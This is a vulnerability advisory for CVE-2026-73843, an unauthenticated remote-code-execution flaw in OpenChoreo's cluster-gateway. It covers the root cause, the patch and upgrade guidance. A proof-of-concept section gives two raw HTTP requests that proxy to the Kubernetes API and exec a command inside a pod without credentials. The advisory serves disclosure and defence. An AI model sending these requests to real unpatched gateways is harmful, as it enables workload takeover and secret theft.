critical · 9.6CVE-2026-73843Sep 2, 2026

CVE-2026-73843: OpenChoreo cluster-gateway Unauthenticated Data-Plane RCE

Rohit Hatagale
AI Security Researcher, SecureLayer7

OpenChoreo's cluster-gateway exposed privileged Kubernetes proxy and pod-exec APIs on the same network port used by remote data-plane agents, with no authentication, letting anyone on the network run…

Packagegithub.com/openchoreo/openchoreo
Ecosystemgo
Affected< 1.0.2
Fixed in1.0.2
CVE-2026-73843: OpenChoreo cluster-gateway Unauthenticated Data-Plane RCE

The problem

In multi-cluster OpenChoreo deployments the cluster-gateway publishes a listener outside the cluster so remote data-plane agents can connect. Before 1.0.2, internal/cluster-gateway/server.go registered the caller-facing management routes (/api/proxy/ and /api/exec/) on that same external listener with no authentication middleware.

Any attacker who could reach the gateway port could proxy arbitrary requests through to the data-plane Kubernetes API server or exec into running workload pods. Full workload compromise, including secret disclosure, config tampering, and denial of service, was possible with a single unauthenticated HTTP request.

Proof of concept

A working proof-of-concept for CVE-2026-73843 in github.com/openchoreo/openchoreo, with the exact payload below.

http
# 1. Proxy the data-plane Kubernetes API (list all pods in kube-system)
GET /api/proxy/api/v1/namespaces/kube-system/pods HTTP/1.1
Host: <cluster-gateway-external-host>:<port>

# 2. Exec a command inside a workload pod (no credentials required)
POST /api/exec/<namespace>/<pod-name>/<container-name> HTTP/1.1
Host: <cluster-gateway-external-host>:<port>
Content-Type: application/json

{"command": ["id"]}

The root cause is a listener-sharing design flaw (CWE-306, CWE-441). server.go bound both the agent-connection handler and the management API routes (/api/proxy/, /api/exec/) to a single net.Listener that was published externally for agent connectivity.

No authentication or authorization middleware was applied to the management routes on that listener.

The patch (PR #4122, commit 047d80d) moves the management API mux onto a separate, cluster-internal listener that is never published outside the cluster. Only the agent-connection endpoint remains on the external listener. This means the attack surface exposed to the network no longer includes the privileged management routes at all, regardless of caller identity.

The fix

Upgrade to OpenChoreo 1.0.2 (1.0.x branch), 1.1.2 (1.1.x branch), or 1.2.0. The upgrade is non-disruptive and requires no data-plane agent or configuration changes beyond a standard Helm chart upgrade. If you cannot upgrade immediately, restrict network access to the cluster-gateway external port to known data-plane agent source addresses only via firewall or gateway-level allowlisting.

Reported by OpenChoreo Security Team.

References: [1][2][3][4][5][6]

Related research